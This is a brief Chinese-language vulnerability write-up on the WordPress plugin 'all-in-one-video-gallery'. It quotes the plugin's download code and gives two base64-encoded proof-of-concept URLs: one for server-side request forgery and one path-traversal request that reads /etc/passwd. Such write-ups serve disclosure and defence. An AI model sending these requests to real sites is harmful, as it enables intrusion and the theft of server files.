这里接收 dl 参数，dl 参数不为 数字类型时，参数将 base64 解码传入

```sql
        if ( is_numeric( $_GET['dl'] ) ) {
            $file = get_post_meta( (int) $_GET['dl'], 'mp4', true );
        } else {
            $file = base64_decode( $_GET['dl'] );
        }

if ( empty( $file ) ) {
            die( esc_html__( 'Download file URL is empty.', 'all-in-one-video-gallery' ) );
            exit;
        }
```

当传入的参数中不存在 http:// 或 https:// 时，参数 $formatted\_path 的值改变

当 $formatted\_path 为 url 时存在 SSRF漏洞，传入 base64编码 的目标URL就可以得到回显

```sql
/index.php/video/?dl=aHR0cHM6Ly93d3cuYmFpZHUuY29t
```

看向代码最后的片段，则存在任意文件读取漏洞

```sql
/index.php/video/?dl=Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
```
